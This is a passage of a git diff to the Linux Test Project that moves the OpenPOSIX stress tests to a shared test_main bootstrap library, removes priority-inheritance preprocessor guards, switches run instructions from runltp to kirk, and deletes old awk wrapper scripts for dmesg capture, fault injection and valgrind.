expected ~%us)\n", + elapsed, expected_secs); + return 1; + } + return 0; + } +#endif + (void)expected_secs; + return 0; +} + +#endif /* PTS_CLOCK_H */ diff --git a/ltp/testcases/open_posix_testsuite/lib/Makefile b/ltp/testcases/open_posix_testsuite/lib/Makefile new file mode 100644 index 00000000..ad6a9d7e --- /dev/null +++ b/ltp/testcases/open_posix_testsuite/lib/Makefile @@ -0,0 +1,18 @@ +top_srcdir?= .. +subdir= lib + +AR?= ar +RANLIB?= ranlib +CFLAGS+= -I$(top_srcdir)/include + + +vpath %.c $(top_srcdir)/$(subdir) + +all: libcommon.a + +clean: + rm -f libcommon.a *.o + +libcommon.a: common.o + $(AR) -rc "$@" $^ + $(RANLIB) "$@" diff --git a/ltp/testcases/open_posix_testsuite/lib/common.c b/ltp/testcases/open_posix_testsuite/lib/common.c new file mode 100644 index 00000000..71e9afb2 --- /dev/null +++ b/ltp/testcases/open_posix_testsuite/lib/common.c @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2026 SUSE LLC <mdoucha@suse.cz> + * + * OpenPOSIX test bootstrap + */ + +int test_main(int argc, char **argv); + +int main(int argc, char **argv) +{ + return test_main(argc, argv); +} diff --git a/ltp/testcases/open_posix_testsuite/scripts/generate-makefiles.sh b/ltp/testcases/open_posix_testsuite/scripts/generate-makefiles.sh index 0649c480..1c12a456 100755 --- a/ltp/testcases/open_posix_testsuite/scripts/generate-makefiles.sh +++ b/ltp/testcases/open_posix_testsuite/scripts/generate-makefiles.sh @@ -115,12 +115,15 @@ include \$(top_srcdir)/include/mk/env.mk INSTALL_DIR= \$(DESTDIR)/\$(testdir)/\$(subdir) LOGFILE?= logfile +COMMON_LIB= \$(top_srcdir)/lib/libcommon.a # Build variables CFLAGS+= -I\$(top_srcdir)/include # XXX: for testfrmw.c -- needs to be moved into a library. CFLAGS+= -I\$(srcdir) +LDFLAGS+= -L\$(top_srcdir)/lib +LDLIBS+= -lcommon EOF @@ -188,6 +191,9 @@ test: run.sh \$(INSTALL_DIR): mkdir -p \$@ +\$(COMMON_LIB): + \$(MAKE) -C \$(top_srcdir)/lib all + EOF fi @@ -219,6 +225,7 @@ EOF c_file="$test_name.c" bin_file="${test_prefix}_$prereq" + extra_deps="" case "$suffix" in .run-test) @@ -232,10 +239,11 @@ EOF COMPILE_STR="\$(CC) $compiler_args \$(CFLAGS) \$(LDFLAGS) -o \$@ \$(srcdir)/$c_file" if $link_libs; then COMPILE_STR="$COMPILE_STR \$(LDLIBS)" + extra_deps='$(COMMON_LIB)' fi cat >> "$makefile.3" <<EOF -$bin_file: \$(srcdir)/$c_file +$bin_file: \$(srcdir)/$c_file $extra_deps \$(v)if $COMPILE_STR > logfile.\$\$\$\$ 2>&1; then \\ cat logfile.\$\$\$\$; \\ echo "\$(subdir)/$test_name compile PASSED"; \\ diff --git a/ltp/testcases/open_posix_testsuite/stress/mqueues/multi_send_rev_1.c b/ltp/testcases/open_posix_testsuite/stress/mqueues/multi_send_rev_1.c index e70d0a7e..5003681f 100644 --- a/ltp/testcases/open_posix_testsuite/stress/mqueues/multi_send_rev_1.c +++ b/ltp/testcases/open_posix_testsuite/stress/mqueues/multi_send_rev_1.c @@ -80,7 +80,7 @@ static int *mreceive(void *info) pthread_exit(NULL); } -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { const char *MQ_NAME[Max_Threads] = { "/msg1", "/msg2", "/msg3", "/msg4", "/msg5", "/msg6", "/msg7", diff --git a/ltp/testcases/open_posix_testsuite/stress/mqueues/multi_send_rev_2.c b/ltp/testcases/open_posix_testsuite/stress/mqueues/multi_send_rev_2.c index 20ab88f9..9fe44113 100644 --- a/ltp/testcases/open_posix_testsuite/stress/mqueues/multi_send_rev_2.c +++ b/ltp/testcases/open_posix_testsuite/stress/mqueues/multi_send_rev_2.c @@ -72,7 +72,7 @@ static int *mreceive(void *ID) pthread_exit(NULL); } -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { struct mq_attr mqstat; diff --git a/ltp/testcases/open_posix_testsuite/stress/semaphores/multi_con_pro.c b/ltp/testcases/open_posix_testsuite/stress/semaphores/multi_con_pro.c index 850c1ef8..cdea145f 100644 --- a/ltp/testcases/open_posix_testsuite/stress/semaphores/multi_con_pro.c +++ b/ltp/testcases/open_posix_testsuite/stress/semaphores/multi_con_pro.c @@ -143,7 +143,7 @@ static int *consumer(void *ID) pthread_exit(NULL); } -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int shared = 1; int full_value = BUF_SIZE; diff --git a/ltp/testcases/open_posix_testsuite/stress/signals/sigismember_stress_1.c b/ltp/testcases/open_posix_testsuite/stress/signals/sigismember_stress_1.c index d53efe88..a6be3186 100644 --- a/ltp/testcases/open_posix_testsuite/stress/signals/sigismember_stress_1.c +++ b/ltp/testcases/open_posix_testsuite/stress/signals/sigismember_stress_1.c @@ -16,7 +16,7 @@ #include <signal.h> #include <posixtest.h> -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t signalset; int returnval; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/fork/s-c1.c b/ltp/testcases/open_posix_testsuite/stress/threads/fork/s-c1.c index 7b98f4c9..6e033ca5 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/fork/s-c1.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/fork/s-c1.c @@ -102,7 +102,7 @@ static int parse_measure(mes_t * measures); static sem_t *sem_synchro; static sem_t *sem_ending; -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret, status; pid_t pidctl; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/helper.c b/ltp/testcases/open_posix_testsuite/stress/threads/helper.c index a36d08f5..366f5d1d 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/helper.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/helper.c @@ -81,7 +81,7 @@ static void *timer(void *arg) return NULL; } -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret; pthread_t th; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cancel/stress.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cancel/stress.c index bfd549de..805b698c 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cancel/stress.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cancel/stress.c @@ -157,7 +157,7 @@ static void *threaded(void *arg) } /* Main function */ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret = 0, i; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/s-c.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/s-c.c index de2cc9a0..32a29491 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/s-c.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/s-c.c @@ -89,7 +89,7 @@ typedef struct _teststruct { struct _teststruct *prev; } teststruct_t; -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { struct rlimit rl; int ret; @@ -286,7 +286,7 @@ int main(int argc, char *argv[]) } #else /* WITHOUT_XOPEN */ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { output_init(); UNRESOLVED(0, "This test requires XSI features"); diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/stress.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/stress.c index e9e9c577..9b0237fe 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/stress.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/stress.c @@ -217,7 +217,7 @@ static void sighdl(int sig) } /******** Parent thread *************/ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { struct sigaction sa; pthread_t threads[N * SCALABILITY_FACTOR]; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/s-c.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/s-c.c index 3faab174..9a1f7f13 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/s-c.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/s-c.c @@ -551,7 +551,7 @@ static int parse_measure(mes_t * measures); /* Main */ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret, nth; long dur; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/stress1.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/stress1.c index d25ec835..c65a7e85 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/stress1.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/stress1.c @@ -373,7 +373,7 @@ static void sighdl(int sig) *pBoolean = 1; } -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret, i, j; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/stress2.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/stress2.c index 2b94974d..0c68b4be 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/stress2.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_timedwait/stress2.c @@ -406,7 +406,7 @@ static void sighdl(int sig) while (do_it); } -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret, i, j; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress.c index 90c2a56f..9b223a49 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress.c @@ -415,7 +415,7 @@ static void sighdl(int sig) while (do_it); } -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret, i, j; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress1.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress1.c index aa8227fc..1ccdb4c7 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress1.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress1.c @@ -367,7 +367,7 @@ static void sighdl(int sig) } } -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret, i, j; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress2.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress2.c index 90c2a56f..9b223a49 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress2.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_cond_wait/stress2.c @@ -415,7 +415,7 @@ static void sighdl(int sig) while (do_it); } -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret, i, j; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_create/s-c1.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_create/s-c1.c index c8e40e5f..42b39735 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_create/s-c1.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_create/s-c1.c @@ -138,7 +138,7 @@ static void *threaded(void *arg) return arg; } -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret = 0; pthread_t child; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_create/threads_scenarii.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_create/threads_scenarii.c index a1f19dd9..126a1352 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_create/threads_scenarii.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_create/threads_scenarii.c @@ -443,7 +443,7 @@ static int sc = 0; /* This might be very dirty... but is much simpler */ extern void *threaded(void *arg); /* This is the test function */ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret = 0; pthread_t child; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_exit/stress.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_exit/stress.c index d0f1a5a7..efafd3a8 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_exit/stress.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_exit/stress.c @@ -136,7 +136,7 @@ static void *threaded(void *arg) } /* main routine */ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret, i; void *rval; @@ -266,7 +266,7 @@ int main(int argc, char *argv[]) } #else /* WITHOUT_XOPEN */ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { output_init(); UNTESTED("This test requires XSI features"); diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_exit/threads_scenarii.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_exit/threads_scenarii.c index a1f19dd9..126a1352 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_exit/threads_scenarii.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_exit/threads_scenarii.c @@ -443,7 +443,7 @@ static int sc = 0; /* This might be very dirty... but is much simpler */ extern void *threaded(void *arg); /* This is the test function */ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret = 0; pthread_t child; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_getschedparam/stress.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_getschedparam/stress.c index b5f359d7..5e1c548e 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_getschedparam/stress.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_getschedparam/stress.c @@ -146,7 +146,7 @@ static void *rt_thread(void *arg) } /* Main function */ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret = 0, i; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_kill/stress.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_kill/stress.c index 631174b3..9e65920b 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_kill/stress.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_kill/stress.c @@ -215,7 +215,7 @@ static void *sync_send(void *arg) } /* Main function */ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret = 0; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/s-c.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/s-c.c index d5c5ac1b..4d82efc5 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/s-c.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/s-c.c @@ -97,7 +97,7 @@ static int types[] = { PTHREAD_MUTEX_NORMAL, }; #ifndef WITHOUT_XOPEN -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { struct rlimit rl; int ret; @@ -292,7 +292,7 @@ int main(int argc, char *argv[]) } #else /* WITHOUT_XOPEN */ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { output_init(); UNRESOLVED(0, "This test requires XSI features"); diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/stress.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/stress.c index 6c3a1570..74f2ed2c 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/stress.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_init/stress.c @@ -168,7 +168,7 @@ static void sighdl(int sig) } /******** Parent thread *************/ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { struct sigaction sa; pthread_t threads[N * SCALABILITY_FACTOR]; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/s-c1.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/s-c1.c index d6c75010..01f07015 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/s-c1.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/s-c1.c @@ -163,7 +163,7 @@ static void *threaded(void *arg) return NULL; } -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { pthread_t th; pthread_attr_t tha; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/s-c2.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/s-c2.c index 0593d0c3..18441430 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/s-c2.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/s-c2.c @@ -220,7 +220,7 @@ static void *threaded(void *arg) /***** * Level 0 - main function */ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret; int i; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/stress.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/stress.c index 42c7fbfa..147d9f91 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/stress.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_lock/stress.c @@ -540,7 +540,7 @@ static void globalsig(int sig) /****** * Last but not least, the main function */ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { /* Main is responsible for : * the mutex attributes initializing diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_trylock/stress.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_trylock/stress.c index a7311da9..6feed415 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_trylock/stress.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_mutex_trylock/stress.c @@ -201,7 +201,7 @@ static void *threaded(void *arg) return NULL; } -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_once/stress.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_once/stress.c index a9a48bcc..59358681 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_once/stress.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_once/stress.c @@ -134,7 +134,7 @@ static void *threaded(void *arg) } /* Main function */ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret = 0, i; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_self/stress.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_self/stress.c index 5aee8d19..6a487305 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_self/stress.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_self/stress.c @@ -163,7 +163,7 @@ static void *threaded(void *arg) } /* Main function */ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret = 0; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_self/threads_scenarii.c b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_self/threads_scenarii.c index 519215a3..ec52cec6 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/pthread_self/threads_scenarii.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/pthread_self/threads_scenarii.c @@ -510,7 +510,7 @@ static int sc = 0; /* This might be very dirty... but is much simpler */ extern void *threaded(void *arg); /* This is the test function */ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret = 0; pthread_t child; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/sem_getvalue/stress.c b/ltp/testcases/open_posix_testsuite/stress/threads/sem_getvalue/stress.c index 3099f0a1..280414e7 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/sem_getvalue/stress.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/sem_getvalue/stress.c @@ -108,7 +108,7 @@ static void *threaded(void *arg) } /* Main function */ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret = 0, value; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/sem_init/s-c1.c b/ltp/testcases/open_posix_testsuite/stress/threads/sem_init/s-c1.c index 792bfd9e..ce721c71 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/sem_init/s-c1.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/sem_init/s-c1.c @@ -112,7 +112,7 @@ typedef struct __test_t { } test_t; /* Test routine */ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret, status, locerrno; int nsem, i; diff --git a/ltp/testcases/open_posix_testsuite/stress/threads/sem_open/s-c1.c b/ltp/testcases/open_posix_testsuite/stress/threads/sem_open/s-c1.c index 14ad4ea2..2e2a22f2 100644 --- a/ltp/testcases/open_posix_testsuite/stress/threads/sem_open/s-c1.c +++ b/ltp/testcases/open_posix_testsuite/stress/threads/sem_open/s-c1.c @@ -111,7 +111,7 @@ typedef struct __test_t { } test_t; /* Test routine */ -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int ret, status, locerrno; int nsem, i; diff --git a/ltp/testcases/realtime/func/pi-tests/testpi-5.c b/ltp/testcases/realtime/func/pi-tests/testpi-5.c index 24bbb334..80c83fa6 100644 --- a/ltp/testcases/realtime/func/pi-tests/testpi-5.c +++ b/ltp/testcases/realtime/func/pi-tests/testpi-5.c @@ -69,8 +69,6 @@ int do_test(int argc, char **argv) pthread_mutexattr_t mutexattr; int retc, protocol; -#if HAS_PRIORITY_INHERIT - if (pthread_mutexattr_init(&mutexattr) != 0) printf("Failed to init mutexattr\n"); @@ -91,9 +89,6 @@ int do_test(int argc, char **argv) join_threads(); return 0; -#else - return 1; -#endif } #include "test-skeleton.c" diff --git a/ltp/testcases/realtime/func/sched_football/sched_football.c b/ltp/testcases/realtime/func/sched_football/sched_football.c index 4465bdde..2cb85322 100644 --- a/ltp/testcases/realtime/func/sched_football/sched_football.c +++ b/ltp/testcases/realtime/func/sched_football/sched_football.c @@ -201,6 +201,8 @@ static void do_test(void) static void do_setup(void) { + tst_check_rt_group_sched_support(); + if (tst_parse_int(str_game_length, &game_length, 1, INT_MAX)) tst_brk(TBROK, "Invalid game length '%s'", str_game_length); diff --git a/ltp/testcases/realtime/lib/librttest.c b/ltp/testcases/realtime/lib/librttest.c index 99ce78b3..21ea57de 100644 --- a/ltp/testcases/realtime/lib/librttest.c +++ b/ltp/testcases/realtime/lib/librttest.c @@ -591,7 +591,6 @@ void *busy_work_us(int us) void init_pi_mutex(pthread_mutex_t * m) { -#if HAS_PRIORITY_INHERIT pthread_mutexattr_t attr; int ret; int protocol; @@ -614,9 +613,6 @@ void init_pi_mutex(pthread_mutex_t * m) if ((ret = pthread_mutex_init(m, &attr)) != 0) { printf("Failed to init mutex: %d (%s)\n", ret, strerror(ret)); } -#endif - - /* FIXME: does any of this need to be destroyed ? */ } /* Write the entirety of data. Complain if unable to do so. */ diff --git a/ltp/testcases/realtime/stress/pi-tests/testpi-3.c b/ltp/testcases/realtime/stress/pi-tests/testpi-3.c index 70ec9451..8a3e7c73 100644 --- a/ltp/testcases/realtime/stress/pi-tests/testpi-3.c +++ b/ltp/testcases/realtime/stress/pi-tests/testpi-3.c @@ -365,7 +365,6 @@ int main(int argc, char *argv[]) printf("Start %s\n", argv[0]); -#if HAS_PRIORITY_INHERIT if (!nopi) { pthread_mutexattr_t mutexattr; int protocol; @@ -386,7 +385,6 @@ int main(int argc, char *argv[]) printf("Failed to init mutex: %d\n", retc); } } -#endif startThread(&arg1); startThread(&arg2); diff --git a/ltp/testscripts/Readme_ROBind b/ltp/testscripts/Readme_ROBind index 2f961d43..02efb0f1 100644 --- a/ltp/testscripts/Readme_ROBind +++ b/ltp/testscripts/Readme_ROBind @@ -3,9 +3,9 @@ the {LTPROOT}/testcases/kernel/fs . EXECUTING TESTS ================== -The tests can be executed through runltp like: +The tests can be executed with kirk: -./runltp -f fs_readonly +kirk -f fs_readonly Following tests are executed when the above is invoked: diff --git a/ltp/testscripts/lvmtest.sh b/ltp/testscripts/lvmtest.sh index 8407a222..198495df 100755 --- a/ltp/testscripts/lvmtest.sh +++ b/ltp/testscripts/lvmtest.sh @@ -14,5 +14,5 @@ fi export PATH="${PATH}:${LTPROOT}:${LTPROOT}/bin:${LTPROOT}/testcases/bin" -generate_lvm_runfile.sh && prepare_lvm.sh && runltp -f lvm.local +generate_lvm_runfile.sh && prepare_lvm.sh && kirk -f lvm.local cleanup_lvm.sh diff --git a/ltp/tools/Makefile b/ltp/tools/Makefile index adbf4fe7..e31af5fc 100644 --- a/ltp/tools/Makefile +++ b/ltp/tools/Makefile @@ -24,7 +24,7 @@ top_srcdir ?= .. include $(top_srcdir)/include/mk/testcases.mk -INSTALL_TARGETS := *.awk *.pl *.sh html_report_header.txt +INSTALL_TARGETS := *.sh INSTALL_DIR := bin diff --git a/ltp/tools/apicmds/ltpapicmd.c b/ltp/tools/apicmds/ltpapicmd.c index ac58c90c..40018b3e 100644 --- a/ltp/tools/apicmds/ltpapicmd.c +++ b/ltp/tools/apicmds/ltpapicmd.c @@ -63,8 +63,8 @@ #include <stdlib.h> #include <stdint.h> #include "test.h" -#include "usctest.h" -#include "safe_macros.h" +#include "tso_usctest.h" +#include "tso_safe_macros.h" char *TCID; /* Name of the testcase */ int TST_TOTAL; /* Total number of testcases */ diff --git a/ltp/tools/create-tarballs-metadata.sh b/ltp/tools/create-tarballs-metadata.sh index 227f7e69..4ce89cdc 100755 --- a/ltp/tools/create-tarballs-metadata.sh +++ b/ltp/tools/create-tarballs-metadata.sh @@ -2,7 +2,7 @@ # SPDX-License-Identifier: GPL-2.0-or-later # Copyright (c) 2023 Petr Vorel <pvorel@suse.cz> # Create tarballs for uploading after tagging release. -# https://github.com/linux-test-project/ltp/wiki/LTP-Release-Procedure +# https://linux-test-project.readthedocs.io/en/latest/maintainers/ltp_release_procedure.html basedir="$(dirname "$0")" . "$basedir/lib.sh" diff --git a/ltp/tools/create_dmesg_entries_for_each_test.awk b/ltp/tools/create_dmesg_entries_for_each_test.awk deleted file mode 100644 index b21364ae..00000000 --- a/ltp/tools/create_dmesg_entries_for_each_test.awk +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/awk -f -# -# Script for adding necessary dmesg clear/capture calls before executing -# commands. -# -# Copyright (C) 2012, Linux Test Project. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, April 2012 -# - -NF && ! /^#/ { - s = $1 "__with_dmesg_entry dmesg -c 1>/dev/null 2>&1;" - for (i = 2; i <= NF; i++) { - s = s " " $i - } - sub(/[;]+$/, "", s) - s = s "; EXIT_CODE=$?" - s = s "; dmesg > " DMESG_DIR "/" $1 ".dmesg.log" - s = s "; exit $EXIT_CODE" - print s -} diff --git a/ltp/tools/create_kernel_faults_in_loops_and_probability.awk b/ltp/tools/create_kernel_faults_in_loops_and_probability.awk deleted file mode 100644 index e2ec3b51..00000000 --- a/ltp/tools/create_kernel_faults_in_loops_and_probability.awk +++ /dev/null @@ -1,40 +0,0 @@ -#!/usr/bin/awk -f -# -# Script for adding necessary dmesg clear/capture calls before executing -# commands. -# -# Copyright (C) 2012, Linux Test Project. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, April 2012 -# - -NF && ! /^#/ { - print - for (i = 1; i <= LOOPS; i++) { - s = $1 "_loop_" i "_under_fault_kernel " - if (i == 1) { - s = s "$LTPROOT/bin/insert_kernel_faults.sh " PERCENTAGE "; " - } - for (j = 2; j <= NF; j++) { - s = s " " $j - } - if (i == LOOPS) { - s = s "; while ! $LTPROOT/bin/restore_kernel_faults_default.sh; do :; done" - } - print s - } -} diff --git a/ltp/tools/create_valgrind_check.awk b/ltp/tools/create_valgrind_check.awk deleted file mode 100644 index 05cf6fac..00000000 --- a/ltp/tools/create_valgrind_check.awk +++ /dev/null @@ -1,42 +0,0 @@ -#!/usr/bin/awk -f -# -# Script for adding necessary valgrind calls before commands. -# -# Copyright (C) 2012, Linux Test Project. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# 